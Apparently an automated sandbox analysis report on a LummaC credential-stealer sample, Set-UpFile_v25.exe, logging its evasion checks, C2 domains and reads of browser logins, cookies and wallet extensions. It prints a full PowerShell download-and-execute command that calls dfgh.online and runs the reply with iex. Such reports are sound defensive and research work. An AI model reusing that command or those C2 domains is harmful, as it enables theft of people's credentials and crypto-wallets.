Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Set-UpFile_v25.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Set-UpFile_v25.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4662			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1715			Jump to behavior

Source: C:\Users\user\Desktop\Set-UpFile_v25.exe TID: 7396	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7668	Thread sleep count: 4662 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7672	Thread sleep count: 1715 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7720	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7652	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7692	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809			Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809			Jump to behavior

Source: C:\Users\user\Desktop\Set-UpFile_v25.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: Set-UpFile_v25.exe, 00000000.00000003.1958807611.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1790726742.000000000083B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000004.00000002.1981590560.0000000006D97000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Set-UpFile_v25.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_02980375 mov edx, dword ptr fs:[00000030h]	0_2_02980375
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_02980935 mov eax, dword ptr fs:[00000030h]	0_2_02980935
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_02980F84 mov eax, dword ptr fs:[00000030h]	0_2_02980F84
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_02980F85 mov eax, dword ptr fs:[00000030h]	0_2_02980F85
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Code function: 0_2_02980CE5 mov eax, dword ptr fs:[00000030h]	0_2_02980CE5

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: Set-UpFile_v25.exe	String found in binary or memory: rabidcowse.shop
Source: Set-UpFile_v25.exe	String found in binary or memory: tirepublicerj.shop
Source: Set-UpFile_v25.exe	String found in binary or memory: noisycuttej.shop
Source: Set-UpFile_v25.exe	String found in binary or memory: cloudewahsj.shop
Source: Set-UpFile_v25.exe	String found in binary or memory: beattalkerz.cyou
Source: Set-UpFile_v25.exe	String found in binary or memory: wholersorie.shop
Source: Set-UpFile_v25.exe	String found in binary or memory: framekgirus.shop
Source: Set-UpFile_v25.exe	String found in binary or memory: nearycrepso.shop
Source: Set-UpFile_v25.exe	String found in binary or memory: abruptyopsn.shop

Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; $gd='https://dfgh.online/invoker.php?compname='+$env:computername; $ptsr = iwr -uri $gd -usebasicparsing -useragent 'mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/57.36 (khtml, like gecko) chrome/12.0.0.0 safari/57.36'; iex $ptsr.content;
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; $gd='https://dfgh.online/invoker.php?compname='+$env:computername; $ptsr = iwr -uri $gd -usebasicparsing -useragent 'mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/57.36 (khtml, like gecko) chrome/12.0.0.0 safari/57.36'; iex $ptsr.content;			Jump to behavior

Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Set-UpFile_v25.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Set-UpFile_v25.exe, 00000000.00000003.1908751924.0000000000828000.00000004.00000020.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1908751924.0000000000831000.00000004.00000020.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1958807611.0000000000828000.00000004.00000020.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1908751924.0000000000846000.00000004.00000020.00020000.00000000.sdmp, Set-UpFile_v25.exe, 00000000.00000003.1958807611.0000000000845000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\Set-UpFile_v25.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Set-UpFile_v25.exe PID: 7272, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Set-UpFile_v25.exe, 00000000.00000003.1958807611.00000000008AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s/Electrum-LTCm F
Source: Set-UpFile_v25.exe, 00000000.00000003.1958807611.00000000008AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s/ElectronCash6\H>
Source: Set-UpFile_v25.exe, 00000000.00000003.1790726742.0000000000889000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: Set-UpFile_v25.exe, 00000000.00000002.1962678644.000000000086D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: Set-UpFile_v25.exe, 00000000.00000003.1908978246.0000000000893000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\
Source: Set-UpFile_v25.exe, 00000000.00000003.1908978246.0000000000893000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: jfhomihkjbmgjidlcdno","ez":"ExodusWeb3"},{"en":"onhogfjeacnfoofkfgppdlbmlmnp
Source: Set-UpFile_v25.exe, 00000000.00000003.1908978246.0000000000893000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: locpak","ez":"Bitget Wallet"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["k
Source: powershell.exe, 00000004.00000002.1983244508.0000000007040000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sqlcolumnencryptionkeystoreprovider

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\Set-UpFile_v25.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
